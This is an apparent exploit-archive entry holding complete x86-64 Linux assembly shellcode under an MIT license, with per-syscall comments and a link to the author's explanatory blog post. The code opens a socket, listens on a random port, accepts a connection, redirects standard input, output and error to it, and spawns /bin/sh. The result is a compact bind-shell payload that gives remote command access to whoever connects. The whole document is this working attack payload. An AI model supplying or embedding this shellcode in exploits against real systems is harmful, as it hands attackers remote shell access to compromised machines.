Linux/x86-64 - Random Listener Shellcode (54 bytes)

;The MIT License (MIT)
 
;Copyright (c) 2017 Robert L. Taylor
 
;Permission is hereby granted, free of charge, to any person obtaining a 
;copy of this software and associated documentation files (the “Software”), 
;to deal in the Software without restriction, including without limitation 
;the rights to use, copy, modify, merge, publish, distribute, sublicense, 
;and/or sell copies of the Software, and to permit persons to whom the 
;Software is furnished to do so, subject to the following conditions:
 
;The above copyright notice and this permission notice shall be included 
;in all copies or substantial portions of the Software.
 
;The Software is provided “as is”, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability, 
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other 
;liability, whether in an action of contract, tort or otherwise, arising 
;from, out of or in connection with the software or the use or other 
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post: 
; http://a41l4.blogspot.ca/2017/02/shellrandomlisten1434.html
 
global _start 
 
section .text
 
_start:
; Socket
    push 41
    pop rax
    push 2
    pop rdi
    push 1
    pop rsi
    cdq
    syscall
; Listen
    xor esi,esi
    xchg eax,edi
    mov al,50
    syscall 
; Accept
    mov al,43
    syscall 
; Dup 2
    push 3
    pop rsi
    xchg edi,eax
dup2loop:
    push 33
    pop rax
    dec esi
    syscall 
    jne dup2loop
; Execve
    ; rax and rsi and rdx are zero already
        push rax ; zero terminator for the following string that we are pushing
 
        ; push /bin//sh in reverse
        mov rbx, '/bin//sh'
        push rbx
 
        ; store /bin//sh address in RDI
    push rsp
    pop rdi
     
        ; Call the Execve syscall
    mov al, 59
        syscall